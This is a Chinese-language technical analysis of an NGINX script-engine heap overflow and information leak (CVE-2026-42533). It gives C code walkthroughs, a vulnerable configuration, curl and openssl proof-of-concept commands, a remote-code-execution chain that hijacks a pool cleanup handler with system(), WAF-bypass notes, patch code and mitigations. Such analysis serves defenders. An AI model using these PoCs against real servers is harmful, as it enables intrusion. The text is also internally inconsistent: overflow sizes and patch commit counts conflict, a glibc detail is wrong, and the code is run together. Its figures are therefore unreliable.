一、漏洞概述
| 项目 | 详情 |
|---|---|
| CVE编号 | CVE-2026-42533 |
| CVSS v4.0 | 9.2 (Critical) |
| CVSS v3.1 | 8.1 (High) |
| 漏洞类型 | 堆缓冲区溢出 (Heap Buffer Overflow) |
| 攻击向量 | 信息泄露 → ASLR绕过 → 远程代码执行 (RCE) |
| 认证要求 | 无需认证 (Pre-auth) |
| 发现者 | Stan Shaw (cyberstan) + Mufeed VH (Winfunc Research) |
| 潜伏时间 | 15年 (自2011年3月NGINX 0.9.6起) |
| 修复版本 | NGINX 1.30.4 (stable) / 1.31.3 (mainline) |
| 影响范围 | NGINX 0.9.6 ~ 1.30.3 / 1.31.2;NGINX Plus R33–R36、37.0.0.1–37.0.2.1 |
| F5公告 | K000162097 |
| 补丁PR | nginx/nginx#1561 — 6个commit,17个文件变更 |
核心危险性:该漏洞具备两个极为罕见的组合特性:
- 无需认证 — 攻击者仅需发送精心构造的HTTP/TLS请求即可触发,无需任何凭证或前置条件
- 内置ASLR绕过 — 同一漏洞代码路径同时提供信息泄露原语,可在单次GET请求中泄露libc和堆指针,完整绕过地址空间布局随机化(ASLR),从而实现可靠的RCE
这是NGINX脚本引擎中一个系统性设计缺陷,影响9个源文件中至少13个独立调用点,覆盖HTTP和Stream两个模块。
二、NGINX map 模块与脚本引擎基础
2.1 map 指令工作原理
map 指令是NGINX的变量映射机制,根据输入变量的值动态创建新变量。在配置解析阶段,NGINX构建 ngx_http_map_conf_t 结构体:
// src/http/ngx_http_map_module.c — map配置解析阶段
typedef struct {ngx_http_complex_value_t value;ngx_http_variable_t *index;ngx_http_map_conf_t *map; // 指向映射表
} ngx_http_map_ctx_t;typedef struct {ngx_hash_t hash; // 精确匹配哈希表ngx_http_map_t *map; // 映射条目数组ngx_http_complex_value_t *default_value; // 默认值ngx_uint_t hash_max_size;ngx_uint_t hash_bucket_size;// ... 正则匹配列表(线性扫描)
} ngx_http_map_conf_t;
运行时匹配流程:
请求到达 → map变量被引用 → ngx_http_map_find() 被调用├── 1. 先查hash表(精确匹配,O(1))└── 2. hash未命中 → 逐条遍历正则表达式列表(线性匹配)└── 对每条正则调用 ngx_http_regex_exec(r, regex, input)
2.2 正则捕获变量的存储机制
NGINX使用PCRE库进行正则匹配,捕获组结果存储在请求对象 ngx_http_request_t 的共享状态中:
// src/http/ngx_http_request.h — 请求对象中的捕获状态
struct ngx_http_request_s {// ...ngx_int_t *captures; // int数组: [offset_0, offset_1, offset_2, ...]ngx_uint_t ncaptures; // 捕获组数量 * 2u_char *captures_data; // 指向被匹配字符串的指针// ...
};
关键理解:
r->captures是一个int数组,存储的是字节偏移量(相对于r->captures_data)$1编译为操作码,运行时读取r->captures[2]和r->captures[3]来确定捕获子串的位置和长度- 这个状态是可变的、共享的 — 任何后续的正则匹配都会覆盖它
内存布局示意:
r->captures_data → "Hello World" (被匹配的原始字符串)
r->captures → [0, 11, 6, 11] (整个匹配: offset=0, len=11; $1: offset=6, len=5)↑ 整体匹配($0) ↑ 捕获组($1)="World"
2.3 脚本引擎的复杂值编译
NGINX脚本引擎将包含变量引用的复杂值(如 "$1--$mapped--$1")编译为操作码序列:
// 编译阶段: src/http/ngx_http_script.c
// "$1--$mapped--$1" 被编译为以下操作码序列:// [OPCODE: copy_capture_len(1)] — 计算$1长度
// [OPCODE: copy("--", 2)] — 复制字面量"--"
// [OPCODE: var($mapped)] — 求值$mapped变量(触发map正则执行)
// [OPCODE: copy("--", 2)] — 复制字面量"--"
// [OPCODE: copy_capture_len(1)] — 再次计算$1长度
每个操作码都有对应的 LEN 版本(计算长度)和 VALUE 版本(写入数据),两套操作码在两个Pass中顺序执行。
三、漏洞根因:两阶段评估模型与共享可变状态
3.1 两阶段评估模型(核心设计缺陷)
NGINX的脚本引擎对所有复杂值求值采用"两阶段评估模型"。这一设计在 ngx_http_complex_value() 函数中体现得淋漓尽致:
// ============================================================
// src/http/ngx_http_script.c : ngx_http_complex_value()
// 完整的两阶段评估模型实现
// ============================================================ngx_int_t
ngx_http_complex_value(ngx_http_request_t *r,ngx_http_complex_value_t *val, ngx_str_t *value)
{size_t len;u_char *p;ngx_http_script_code_pt code;ngx_http_script_len_code_pt lcode;ngx_http_script_engine_t e;// ---- 初始化脚本引擎 ----ngx_memzero(&e, sizeof(ngx_http_script_engine_t));e.ip = val->codes->elts; // 操作码序列起始地址e.request = r;e.flushed = 1;// ============================================================// 阶段1 — LEN Pass (长度计算)// 目的:遍历所有操作码,累加结果字符串的总长度// ============================================================while (*(uintptr_t *) e.ip) { // line 81: 遍历操作码lcode = *(ngx_http_script_len_code_pt *) e.ip;len += lcode(&e); // line 83: 累加各片段长度}// ============================================================// 阶段2 — 缓冲区分配 (精确按LEN结果分配)// ============================================================value->len = len; // line 86value->data = ngx_pnalloc(r->pool, len); // line 87: 精确分配len字节// 注意:ngx_pnalloc 不会清零内存!if (value->data == NULL) {return NGX_ERROR;}// ---- 重置引擎状态,准备第二遍扫描 ----e.ip = val->codes->elts;e.pos = value->data;// ============================================================// 阶段3 — VALUE Pass (数据写入)// 目的:遍历同样的操作码序列,将实际数据写入缓冲区// ============================================================while (*(uintptr_t *) e.ip) { // line 96: 遍历操作码code = *(ngx_http_script_code_pt *) e.ip;code((ngx_http_script_engine_t *) &e); // line 98: 执行写入}// ============================================================// 阶段4 — 返回结果// ============================================================*value = e.buf; // line 102return NGX_OK;
}
关键设计假设(已被打破):
LEN Pass 和 VALUE Pass 对同一操作码必须产生完全相同的字节数。
引擎没有任何边界检查。VALUE Pass 写入时不会检查当前位置是否超出缓冲区末尾。如果 LEN Pass 计算 1 字节但 VALUE Pass 写入 200 字节,197 字节将溢出到相邻堆块。
3.2 共享可变捕获状态的覆盖 (Capture Clobbering)
这是漏洞的直接触发机制。当 map 变量求值时,ngx_http_map_find() 调用 ngx_http_regex_exec() 对 map 的输入变量执行正则匹配,直接覆盖请求对象的共享捕获状态:
// ============================================================
// src/http/ngx_http_variables.c : ngx_http_map_find()
// map变量求值的入口函数
// ============================================================static ngx_int_t
ngx_http_map_find(ngx_http_request_t *r, ngx_http_map_ctx_t *map, ngx_str_t *match)
{// ... 精确匹配hash表查找 ...// 遍历正则表达式列表进行匹配for (i = 0; i < map->map->nregex; i++) { // line ~2563n = ngx_http_regex_exec(r, reg[i].regex, match); // 关键调用!if (n >= 0) {return reg[i].value; // 返回匹配的映射值}}return NGX_DECLINED;
}
// ============================================================
// src/http/ngx_http_variables.c : ngx_http_regex_exec()
// 正则执行的核心函数 — 直接写入r->captures
// ============================================================static ngx_int_t
ngx_http_regex_exec(ngx_http_request_t *r, ngx_http_regex_t *re, ngx_str_t *s)
{// ...len = r->ncaptures; // 当前捕获数组大小// 执行PCRE匹配,结果直接写入r->capturesrc = ngx_regex_exec(re->regex, s, r->captures, len); // line 2695// ...// 【关键】更新请求对象上的捕获状态r->ncaptures = rc * 2; // line 2732: 更新捕获数量r->captures_data = s->data; // line 2733: 更新数据指针 → 指向map输入return rc;
}
致命问题:ngx_http_complex_value() 在 LEN Pass 和 VALUE Pass 之间没有保存/恢复 r->captures 状态。一旦 map 正则执行覆盖了捕获状态,后续所有对 $1、$2 等捕获变量的读取都将指向新的数据源。
脆弱的调用链时序:location正则匹配 → 设置 r->captures = [0,1,6,11], r->captures_data = URI↓
ngx_http_complex_value() 开始├── LEN Pass:│ ├── $1 → 读取 r->captures → 返回 URI 中的捕获长度 (短)│ ├── $mapped → ngx_http_map_find()│ │ └── ngx_http_regex_exec(r, regex, header_value)│ │ → r->captures = [0,200,...], r->captures_data = header_data (长!)│ ├── $1 → 读取 r->captures → 返回 header 中的捕获长度 (长!)│ └── LEN合计 = 短 + 字面量 + 长├── 分配缓冲区 = LEN合计└── VALUE Pass:├── $1 → 读取 r->captures → 仍然指向 header_data (长!) → 写入长数据├── $mapped → 写入映射值├── $1 → 读取 r->captures → 仍然指向 header_data (长!) → 写入长数据└── VALUE合计 >> LEN合计 → 堆溢出!
3.3 脆弱代码路径(C代码级精确分析)
让我们逐行追踪三个关键函数的交互:
函数A:LEN Pass 读取捕获长度
// ============================================================
// src/http/ngx_http_script.c : ngx_http_script_copy_capture_len_code()
// 操作码:LEN Pass 中计算捕获组的字节长度
// ============================================================static size_t
ngx_http_script_copy_capture_len_code(ngx_http_script_engine_t *e)
{ngx_int_t *cap;ngx_uint_t n;n = 2 * *((ngx_uint_t *) e->items); // n = 捕获组索引 * 2if (n + 2 > (ngx_uint_t) e->request->ncaptures) {return 0; // 安全边界检查:无足够捕获组时返回0}cap = e->request->captures; // line 1354: 读取 r->captures 指针return cap[n + 1] - cap[n]; // line 1355: 返回捕获组字节数// ↑ 关键:如果此时r->captures已被map正则覆盖,// 则返回的是map输入中的捕获长度,而非原始捕获长度
}
函数B:VALUE Pass 写入捕获数据
// ============================================================
// src/http/ngx_http_script.c : ngx_http_script_copy_capture_code()
// 操作码:VALUE Pass 中将捕获组数据写入输出缓冲区
// ============================================================static void
ngx_http_script_copy_capture_code(ngx_http_script_engine_t *e)
{u_char *p, *pos;ngx_int_t *cap;ngx_uint_t n;pos = e->pos;n = 2 * *((ngx_uint_t *) e->items); // n = 捕获组索引 * 2if (n + 2 > (ngx_uint_t) e->request->ncaptures) {return; // 边界检查}cap = e->request->captures; // line 1400: 读取 r->captures 指针p = e->request->captures_data; // line 1401: 读取 r->captures_data 指针// 【关键】直接从captures_data + offset处复制数据到输出缓冲区// 没有任何长度校验!e->pos = ngx_copy(pos, &p[cap[n]], cap[n + 1] - cap[n]);// ↑ p[cap[n]] = captures_data + 捕获偏移// ↑ cap[n+1]-cap[n] = 捕获长度// 这里是实际的memcpy/ngx_copy// 如果cap指向被覆盖后的值,将写入远超缓冲区的数据
}
函数C:map正则执行覆盖捕获
// ============================================================
// src/http/ngx_http_variables.c : ngx_http_regex_exec() — 核心覆盖点
// ============================================================static ngx_int_t
ngx_http_regex_exec(ngx_http_request_t *r, ngx_http_regex_t *re, ngx_str_t *s)
{ngx_int_t rc;// s = map的输入变量值 (如请求头 $http_x_input)// r->captures = 调用前的捕获状态 (来自location正则)rc = ngx_regex_exec(re->regex, s, r->captures,(int) r->ncaptures); // line 2695if (rc >= 0) {// 匹配成功 → 直接修改请求对象的共享状态r->ncaptures = rc * 2; // line 2732r->captures_data = s->data; // line 2733// 【注意】s->data 是 map 输入变量的数据(请求头字符串),// 而不是原始 location 正则匹配的 URI 数据return rc;}// 匹配失败时也可能重新分配 r->captures 数组(见patch commit 96628b7)// 这会进一步导致 ncaptures 与 captures 数组大小不一致return NGX_DECLINED;
}
3.4 ASCII 内存时序图
以表达式 "$1--$mapped--$1" 为例,假设:
- location正则捕获
$1= URI中的"x"(1字节) - map输入 = 请求头
"X-Input: BBBB...B"(200字节) - map映射值 =
"matched"(7字节)
==================== LEN Pass ====================操作码序列 r->captures状态 计算结果 累计长度
───────────── ─────────────── ──────── ────────
$1 (copy_capture) [0,1, ?,?] 1字节 len=1
"-" (copy literal) 未变 2字节 len=3
$mapped (var) ← map正则执行 求值结果: len=10覆盖captures → 7字节[0,200, ?,?] (映射值"matched")captures_data → 7字节header_data
"-" (copy literal) 仍被覆盖 2字节 len=12
$1 (copy_capture) [0,200, ?,?] 200字节 len=212↑读取被覆盖后的值→认为$1有200字节LEN合计 = 212 字节 → ngx_pnalloc(r->pool, 212)缓冲区: [ ] (212字节)↑pos==================== VALUE Pass ====================
(注意:r->captures 在两次Pass之间从未被恢复)操作码序列 r->captures状态 写入数据 写入位置
───────────── ─────────────── ──────── ────────
$1 (copy_capture) [0,200, ?,?] 200字节 pos=200 ← 溢出!仍被覆盖 "BBBB...B" 缓冲区只有212字节
"-" (copy literal) 未变 2字节 pos=202 ← 溢出!
$mapped (var) 未变 7字节 pos=209 ← 溢出!
"-" (copy literal) 未变 2字节 pos=211 ← 溢出!
$1 (copy_capture) [0,200, ?,?] 200字节 pos=411 ← 溢出!VALUE合计 = 411 字节 → 写入212字节缓冲区 → 溢出199字节!缓冲区实际写入:
[BBBB...B(200)] [--(2)] [matched(7)] [--(2)] [BBBB...B(200)] [溢出到相邻堆块...]
|←------ 212字节缓冲区 ------→|←---------- 199字节溢出 ----------→|
溢出方向的数量关系:
溢出量 = 2 * (map输入长度 - 原始捕获长度) - 字面量开销= 2 * (200 - 1) - (2 + 7 + 2)= 398 - 11 = 387... (实际值取决于map值长度)
四、双向攻击原语
4.1 方向一:堆缓冲区溢出 (Heap Buffer Overflow)
条件:原始捕获短(如URI中的 "x" = 1字节),map输入长(如请求头200字节)
LEN Pass:$1 → 读取原始捕获 → len = 1$mapped → map正则执行 → 覆盖captures$1 → 读取被覆盖捕获 → len = 200LEN合计 = 1 + 2 + 7 + 2 + 200 = 212分配: 212字节缓冲区VALUE Pass:$1 → 写入200字节(应写1字节) ← 溢出199字节$mapped → 写入7字节$1 → 写入200字节(应写1字节) ← 溢出199字节VALUE合计 = 409字节总溢出量 = 409 - 212 = 197字节
ASan 崩溃栈(攻击者可控内容溢出到相邻堆块):
==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x521000015100
WRITE of size 200 at 0x521000015100 thread T0#0 memcpy#1 ngx_http_script_copy_capture_code src/http/ngx_http_script.c:1404#2 ngx_http_complex_value src/http/ngx_http_script.c:98#3 ngx_http_variable_get_value src/http/ngx_http_variables.c#4 ... (调用链取决于具体指令)0x521000015100 is located 0 bytes after 4096-byte region [0x521000014100,0x521000015100)
SUMMARY: AddressSanitizer: heap-buffer-overflow in memcpy
4.2 方向二:信息泄露 (Information Leak / Uninitialized Heap Read)
条件:原始捕获长(如URI 8160字节),map输入短(如请求头1字节 "z")
LEN Pass:$1 → 读取原始捕获 → len = 8160$mapped → map正则执行 → 覆盖captures(指向1字节的"z")$1 → 读取被覆盖捕获 → len = 1LEN合计 = 8160 + 2 + 7 + 2 + 1 = 8172分配: 8172字节缓冲区 (未清零!)VALUE Pass:$1 → 写入1字节 (应写8160字节) ← 缓冲区严重不足使用$mapped → 写入7字节$1 → 写入1字节VALUE合计 = 11字节剩余8161字节 → 未初始化堆残留!
关键:ngx_http_complex_value() 返回的是 LEN Pass 的长度(8172字节),而非 VALUE Pass 实际写入的长度(11字节)。 发送给客户端的响应包含全部8172字节,其中8161字节是未初始化的堆数据。
响应缓冲区内存布局:
[1字节] [2字节] [7字节] [2字节] [1字节] [ 8161字节未初始化堆数据 ]↑"z" "--" "matched" "--" "z" ↑ 泄露内容
|←--------- 11字节VALUE Pass写入 ------→|←------- 泄露给客户端 -------→|
|←---------------- 8172字节LEN Pass长度 ----→|泄露内容分析 (Ubuntu 24.04 + glibc 2.39):
偏移 0x08: libc 指针 (如 __free_hook 附近) → 用于计算 libc 基址
偏移 0x10: 堆指针 (如 main_arena 或 pool chunk) → 用于计算堆布局
单次GET请求即可完整绕过ASLR。
4.3 双向原语对比表
| 维度 | 堆溢出方向 (Inner > Outer) | 信息泄露方向 (Outer > Inner) |
|---|---|---|
| 触发条件 | map输入 > 原始捕获 | 原始捕获 > map输入 |
| LEN Pass计算 | 第一次$1短,第二次$1长(被覆盖后) | 第一次$1长,第二次$1短(被覆盖后) |
| VALUE Pass写入 | 每个被覆盖的$1写入长数据 | 每个被覆盖的$1写入短数据 |
| 缓冲区分配 | LEN合计 (偏小) | LEN合计 (偏大) |
| 实际效果 | VALUE > LEN → 溢出 | VALUE < LEN → 堆残留泄露 |
| 溢出量 | 可达数千字节,无上界 | N/A |
| 泄露量 | N/A | 可达数千字节,含libc指针+堆指针 |
| 攻击原语 | 受控的越界写 (OOB Write) | 未初始化内存读取 (Info Leak) |
| 利用价值 | 堆元数据覆写 → 控制流劫持 | ASLR绕过 → 为溢出提供精确地址 |
| 攻击顺序 | 第二步(信息泄露后执行) | 第一步(ASLR绕过) |
| 请求方式 | POST(需要请求体) | GET(仅需长URI+短头) |
| 检测难度 | 高(正常HTTP语义) | 中(响应包含异常数据) |
五、PoC 构造
5.1 脆弱配置(最小可复现)
# ============================================================
# 脆弱配置 — CVE-2026-42533 PoC
# ============================================================# 1. map使用~正则匹配,处理攻击者可控的请求头
map $http_x_input $mapped_var {default "nomatch";~^(?<cap>.+)$ "matched";# ↑ 正则捕获整个请求头值,覆盖r->captures
}server {listen 80;# 2. 正则location产生捕获组$1location ~ "^/test/(.+)$" {# 3. 同一表达式中:先引用$1,再引用$mapped_var,再引用$1# 当$mapped_var求值时,map正则覆盖r->capturesadd_header X-Debug "$1--$mapped_var--$1" always;return 200 "capture=[$1] mapped=[$mapped_var]\n";}
}
5.2 触发条件总结
一个可利用的配置必须同时满足以下四个条件:
条件1 — 捕获源(Capture Source):location ~ /(.*)$/ 或 server_name ~ ^(.+)\.example.com或 rewrite /(.*) /dest break; 或 if ($uri ~ (.+)) {...}→ 产生 $1, $2 等捕获变量条件2 — 覆盖触发器(Clobber Trigger):map $<攻击者可控输入> $<output> {~<正则> <值>;}→ map 使用 ~ 或 ~* 正则匹配键,处理攻击者可控输入条件3 — 双阶段汇点(Two-Pass Sink):同一表达式中同时引用捕获变量($1)和map变量($mapped_var)→ 两者在同一次 ngx_http_complex_value() 调用中被求值条件4 — 求值顺序(Critical Ordering):捕获变量必须在map变量之前被引用(在表达式中出现位置在先)→ map-before-capture 顺序是安全的(map已缓存,不会重新执行正则)→ capture-before-map 顺序是脆弱的(map正则覆盖捕获状态)
跨指令触发:对于 proxy_set_header/fastcgi_param 等指令族,它们在同一个location内共享一个缓冲区,因此捕获引用和map引用不需要在同一条指令中,只需在同一个location块内的不同指令中出现即可触发漏洞。
5.3 溢出方向 PoC
# PoC 1: 堆缓冲区溢出
# URI中的 "x" 是1字节捕获 → map输入 "BBB...B" (200字节) 覆盖捕获
# LEN分配~212字节 → VALUE写入~409字节 → 溢出~197字节curl -v \-H "X-Input: $(python3 -c 'print("B"*200)')" \"http://target/test/x"# 预期结果:
# - 未打补丁版本: Worker进程崩溃 (SIGSEGV/ASan heap-buffer-overflow)
# - 已打补丁版本: HTTP 500 Internal Server Error
5.4 信息泄露方向 PoC
# PoC 2: 信息泄露 — 单次GET请求泄露堆指针绕过ASLR
# URI中8160字节的捕获 → map输入 "z" (1字节) 覆盖捕获
# LEN分配~8172字节 → VALUE仅写入~11字节 → 剩余8161字节未初始化堆数据LONG_CAP=$(python3 -c 'print("A"*8160)')
curl -s --output - "http://target/test/${LONG_CAP}" -H "X-Input: z" | \hexdump -C | head -40# 预期输出(敏感信息泄露):
# 偏移 0x08-0x0f: libc 指针 → 用于计算 libc 基址
# 偏移 0x10-0x17: 堆指针 → 用于计算堆块地址
5.5 TLS/Stream 层 PoC(WAF绕过)
# Stream模块中的利用 — WAF无法检测
stream {map $ssl_preread_server_name $backend {~^(?<domain>.+)\.internal$ "backend_${domain}";default "default_backend";}server {listen 443;ssl_preread on;# TLS ClientHello中的SNI是攻击者可控的# $ssl_preread_server_name 在TLS握手阶段触发map正则# 如果此处与stream正则location的捕获变量共存于同一表达式中,同样触发proxy_pass $backend;}
}
# 利用TLS SNI触发 — 完全绕过HTTP层WAF
# 传统WAF只解析HTTP请求,无法检测TLS ClientHello中的SNI
openssl s_client -connect target:443 -servername "$(python3 -c 'print("A"*5000)')"
六、完整 RCE 利用链
6.1 利用三步曲
┌─────────────────────────────────────────────────────────────────┐
│ CVE-2026-42533 RCE 利用链 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ Step 1: 信息泄露 (1个GET请求) │
│ ┌──────────────────────────────────────────────────────┐ │
│ │ GET /test/[8160个A] HTTP/1.1 │ │
│ │ X-Input: z │ │
│ │ │ │
│ │ → 泄露libc指针(offset 0x08) + 堆指针(offset 0x10) │ │
│ │ → 计算libc基址、system()地址、堆布局 │ │
│ └──────────────────────────────────────────────────────┘ │
│ ↓ │
│ Step 2: 堆风水 (约40个TCP连接) │
│ ┌──────────────────────────────────────────────────────┐ │
│ │ 发送40个精心构造的HTTP请求 │ │
│ │ → 分配/释放特定大小的堆块 │ │
│ │ → 在目标溢出缓冲区相邻位置放置 │ │
│ │ ngx_pool_cleanup_t 结构体 │ │
│ │ → 精确控制其handler指针位置 │ │
│ └──────────────────────────────────────────────────────┘ │
│ ↓ │
│ Step 3: 堆溢出 (1个POST请求) │
│ ┌──────────────────────────────────────────────────────┐ │
│ │ POST /test/x HTTP/1.1 │ │
│ │ X-Input: [精心构造的payload] │ │
│ │ Content-Length: [溢出量] │ │
│ │ │ │
│ │ → 溢出覆盖 ngx_pool_cleanup_t.handler │ │
│ │ → handler 指向 system() / one_gadget │ │
│ │ → cleanup 参数指向攻击者控制的命令字符串 │ │
│ └──────────────────────────────────────────────────────┘ │
│ ↓ │
│ 触发: 请求处理结束 → 连接池销毁 → 调用 cleanup handler │
│ → handler = system("/bin/sh -c '...') → RCE! │
│ │
└─────────────────────────────────────────────────────────────────┘
6.2 RCE 触发机制
利用链的核心是覆盖NGINX内存池的清理回调结构:
// src/core/ngx_palloc.h — 内存池清理结构
typedef struct ngx_pool_cleanup_s ngx_pool_cleanup_t;struct ngx_pool_cleanup_s {ngx_pool_cleanup_pt handler; // 函数指针 → 被劫持的目标void *data; // 参数 → 指向命令字符串ngx_pool_cleanup_t *next; // 链表指针
};
当请求处理结束、内存池被销毁时,NGINX遍历清理链表并逐一调用 handler(data)。攻击者通过堆溢出将 handler 覆盖为 system() 地址(通过Step 1泄露的libc基址精确计算),将 data 指向包含shell命令的字符串(在请求头或请求体中放置),即可实现代码执行。
6.3 可靠性
| 测试环境 | ASLR状态 | 可靠性 |
|---|---|---|
| Ubuntu 24.04 + glibc 2.39 | 完整ASLR + PIE | 10/10 |
| Ubuntu 22.04 + glibc 2.35 | 完整ASLR | 10/10 |
| Debian 12 + glibc 2.36 | 完整ASLR | 10/10 |
6.4 与 CVE-2026-42945(NGINX Rift)对比
| 维度 | CVE-2026-42533 (本文) | CVE-2026-42945 (Rift) |
|---|---|---|
| 漏洞类型 | 堆缓冲区溢出 + 信息泄露 | 堆缓冲区溢出 |
| ASLR绕过 | 内置(同一漏洞代码路径) | 需要ASLR关闭 |
| 漏洞原因 | 两阶段评估 + 共享捕获状态覆盖 | 不同的脚本引擎缺陷 |
| 利用可靠性 | 10/10(完整ASLR环境下) | 仅限ASLR关闭环境 |
| 攻击前置条件 | 无(信息泄露+溢出一体化) | 需要目标禁用ASLR |
| 实战威胁等级 | 极高(外网可直接利用) | 中(需特定环境配置) |
| 修复版本 | 1.30.4 / 1.31.3 | 已在同期补丁中修复 |
七、WAF 绕过分析
7.1 正常HTTP语义 — 载荷伪装
该漏洞的最大特点之一是攻击载荷完全隐藏在正常HTTP语义中:
攻击载荷不存在于:✗ 特殊字符或编码绕过✗ 协议异常(如HTTP请求走私)✗ 非标准HTTP方法✗ 路径遍历或SQL注入特征攻击载荷存在于:✓ 标准请求头 (X-Input: BBBB...) ← 正常的HTTP头✓ URI路径 (/test/x) ← 正常的URL✓ 请求体 (POST body) ← 正常的请求内容
对WAF的意义:传统基于正则匹配或签名的WAF无法识别这类载荷,因为它们与正常业务流量完全一致。漏洞触发是配置和状态机层面的问题,而非输入校验不足。
7.2 TLS/Stream 层触发 — 绕过 HTTP WAF
NGINX的 ssl_preread_server_name 指令在TLS握手阶段(加密建立之前)提取SNI(Server Name Indication),并将其作为变量传递给map进行匹配。此时:
协议栈视角:[TCP层] 标准TCP三次握手 — 无异常[TLS层] ClientHello → 提取SNI → 触发map正则匹配此时HTTP层尚未建立,WAF根本无法观察[HTTP层] 传统WAF在此层工作 — 但漏洞已在TLS层触发时间线:客户端 → TLS ClientHello(SNI=超长域名) → NGINX Stream模块→ map $ssl_preread_server_name 匹配→ 正则覆盖 r->captures→ 漏洞触发(WAF在此处才介入,但已经太晚了)
7.3 检测挑战总结
┌──────────────────────────────────────────────────┐
│ 漏洞检测挑战矩阵 │
├───────────────┬──────────────┬───────────────────┤
│ 检测手段 │ 有效性 │ 原因 │
├───────────────┼──────────────┼───────────────────┤
│ HTTP签名匹配 │ 无效 │ 载荷为正常HTTP语义 │
│ 异常流量检测 │ 无效 │ 标准TCP连接 │
│ 协议分析WAF │ 无效 │ TLS层触发绕过 │
│ RASP/IAST │ 部分有效 │ 可检测内存异常 │
│ 配置审计 │ 有效 │ 静态扫描脆弱模式 │
│ ASan/内存监控 │ 有效 │ 运行时检测 │
│ 版本检测 │ 有效 │ 确认运行版本 │
└───────────────┴──────────────┴───────────────────┘
八、修复补丁分析
8.1 补丁策略概览
NGINX官方补丁(PR #1561)包含7个commit,修改17个文件,采用四层防御策略:
防御层1: 边界检查 (Buffer overrun protection)→ 新增 e->end 指针 + ngx_http_script_check_length()→ VALUE Pass 每次写入前检查剩余容量防御层2: 返回值修正 (Garbage avoidance)→ 返回 VALUE Pass 实际写入字节数,而非 LEN Pass 计算长度→ 消除信息泄露方向防御层3: 捕获状态保存 (Stale capture fix)→ 修复 ngx_http_regex_exec() 中 ncaptures 不一致问题→ 防止正则失败时的未初始化读取防御层4: 子请求安全 (Subrequest safety)→ 修复子请求重复 finalize 导致的 use-after-free
8.2 关键补丁代码
防御层1:边界检查函数
// ============================================================
// 补丁新增: ngx_http_script_check_length()
// VALUE Pass 每次写入操作前调用此函数检查剩余容量
// ============================================================static ngx_inline ngx_int_t
ngx_http_script_check_length(ngx_http_script_engine_t *e, size_t len)
{if (e->end == NULL) { // e->end 未设置 → 不检查(向后兼容)return NGX_OK;}if (e->end - e->pos < (ssize_t) len) { // 剩余空间不足e->ip = ngx_http_script_exit; // 跳转到退出操作码e->status = NGX_HTTP_INTERNAL_SERVER_ERROR; // 返回 HTTP 500return NGX_ERROR;}return NGX_OK;
}
防御层1:引擎集成
// ============================================================
// 补丁修改: ngx_http_complex_value() — 设置 e->end 指针
// ============================================================ngx_int_t
ngx_http_complex_value(ngx_http_request_t *r,ngx_http_complex_value_t *val, ngx_str_t *value)
{// ... LEN Pass 不变 ...value->len = len;value->data = ngx_pnalloc(r->pool, len);// ...e.ip = val->codes->elts;e.pos = value->data;e.end = value->data + len; // ← 新增:设置缓冲区结尾指针// ... VALUE Pass 每个写入操作码前都会调用 check_length ...
}
防御层1:捕获写入增加边界检查
// ============================================================
// 补丁修改: ngx_http_script_copy_capture_code() — 增加边界检查
// ============================================================static void
ngx_http_script_copy_capture_code(ngx_http_script_engine_t *e)
{// ... 获取捕获偏移和长度 ...size = (size_t) (cap[n + 1] - cap[n]);// 新增: 检查缓冲区剩余空间if (ngx_http_script_check_length(e, size) != NGX_OK) {return; // 空间不足 → 直接返回,跳转到exit操作码}// 原有写入逻辑e->pos = ngx_copy(pos, &p[cap[n]], size);
}
防御层2:返回值修正
// ============================================================
// 补丁修改: ngx_http_complex_value() — 返回实际写入长度
// ============================================================ngx_int_t
ngx_http_complex_value(...)
{// ... LEN Pass + VALUE Pass ...// 修改前: 返回LEN Pass计算的长度(含未初始化数据)// *value = e.buf; // e.buf.len = LEN合计// 修改后: 返回VALUE Pass实际写入的长度value->len = e.pos - value->data; // 实际写入字节数return NGX_OK;
}
8.3 补丁覆盖范围
受影响的13个调用点 × 9个源文件:核心脚本引擎 (6个调用点, 2个文件):#1 ngx_http_complex_value src/http/ngx_http_script.c#2 ngx_stream_complex_value src/stream/ngx_stream_script.c#3 ngx_http_script_run src/http/ngx_http_script.c#4 ngx_stream_script_run src/stream/ngx_stream_script.c#5 ngx_http_script_regex_start src/http/ngx_http_script.c#6 access_log 脚本引擎 src/http/modules/ngx_http_log_module.c代理模块直接脚本使用 (7个调用点, 5个文件):#7 proxy module src/http/modules/ngx_http_proxy_module.c#8 fastcgi module src/http/modules/ngx_http_fastcgi_module.c#9 scgi module src/http/modules/ngx_http_scgi_module.c#10 uwsgi module src/http/modules/ngx_http_uwsgi_module.c#11 grpc module src/http/modules/ngx_http_grpc_module.c#12 index module src/http/modules/ngx_http_index_module.c#13 try_files module src/http/ngx_http_core_module.c
九、防御策略
9.1 升级(首要措施)
┌─────────────────────────────────────────────────────────────┐
│ 紧急升级建议 │
├─────────────────────────────────────────────────────────────┤
│ │
│ NGINX Open Source: │
│ Stable 分支 → 1.30.4+ (当前 1.30.3 受影响) │
│ Mainline 分支 → 1.31.3+ (当前 1.31.2 受影响) │
│ │
│ NGINX Plus: │
│ R36 → R36 P7+ │
│ R33-R35 → 升级至 R36 P7+ │
│ 37.0.0.1-37.0.2.1 → 37.0.3.1+ │
│ │
│ 其他F5产品: │
│ NGINX Instance Manager: 2.22.2+ │
│ NGINX App Protect WAF: 5.13.4+ / 4.17.0+ │
│ NGINX Gateway Fabric: 1.6.1+ │
│ (参见 F5 公告 K000162097 完整产品矩阵) │
│ │
│ 优先级: 互联网面向的反向代理/负载均衡器 → 最高优先级 │
└─────────────────────────────────────────────────────────────┘
9.2 临时缓解措施
注意:以下措施仅为纵深防御,不能替代升级补丁。
# ============================================================
# 措施1: 将 map 的正则捕获替换为命名捕获
# 减少与location/server_name捕获组之间的状态冲突风险
# ============================================================
# 修改前:
map $http_x_input $mapped_var {~^(.+)$ "matched"; # 未命名捕获组,覆盖 $1/$2
}# 修改后(减少风险但不消除):
map $http_x_input $mapped_var {~^(?<input_cap>.+)$ "matched"; # 命名捕获组
}# ============================================================
# 措施2: 重构求值顺序 — map 变量在捕获变量之前
# map-before-capture 读取一致的缓存状态,不会被重新执行
# ============================================================
# 修改前 (脆弱):
add_header X-Debug "$1--$mapped_var--$1" always;# 修改后 (较安全):
add_header X-Debug "$mapped_var--$1" always;
# 注意: 即使$1在后面,仍存在"首$1读取原始、次$1读取被覆盖"的不一致
# 此措施仅降低风险,不完全消除# ============================================================
# 措施3: 审计 map 输入源 — 避免处理攻击者可控数据
# ============================================================
# 高风险输入源:
# $uri, $args, $arg_*, $query_string — URI组件
# $http_*, $cookie_* — 请求头/Cookie
